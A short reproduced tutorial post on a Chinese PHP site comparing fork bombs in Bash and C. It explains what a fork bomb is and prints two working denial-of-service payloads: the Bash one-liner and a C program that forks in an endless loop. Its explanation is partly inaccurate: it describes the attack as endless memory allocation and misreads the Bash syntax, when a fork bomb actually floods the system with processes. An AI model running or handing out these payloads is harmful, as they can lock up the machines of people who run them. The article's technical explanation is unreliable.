Home >Backend Development >C++ >C vs BASH Fork bomb? C vs BASH Fork bomb?

C vs BASH Fork bomb? C vs BASH Fork bomb?

王林
王林forward
2023-09-13 10:25:021473browse

C vs BASH Fork bomb? C对BASH的Fork炸弹?

The Fork() bomb is a Dos (Denial of Service) attack on Linux-based systems. This calls the Fork() system an infinite number of times, filling up the program's memory with the intention of harming the system.

fork bomb's Bash script

:(){ :|: & };:

The code is explained as: ( ) is the function definition, { } defines the loop body. :|:& creates a memory location and does not allow it to be freed. The program calls itself multiple times, again and again. This enables unlimited calls.

The C Fork bomb is also the same type of DOS, but it runs on a C compiler. This creates infinite calls to memory allocation and leaves the system running out of memory.

Example

#include <unistd.h>
#include <malloc.h>
int main() {
   while (1) {
      fork();
   }
}

Output

Infinite calls

The above is the detailed content of C vs BASH Fork bomb? C vs BASH Fork bomb?. For more information, please follow other related articles on the PHP Chinese website!

Statement:
This article is reproduced at:tutorialspoint.com. If there is any infringement, please contact admin@php.cn delete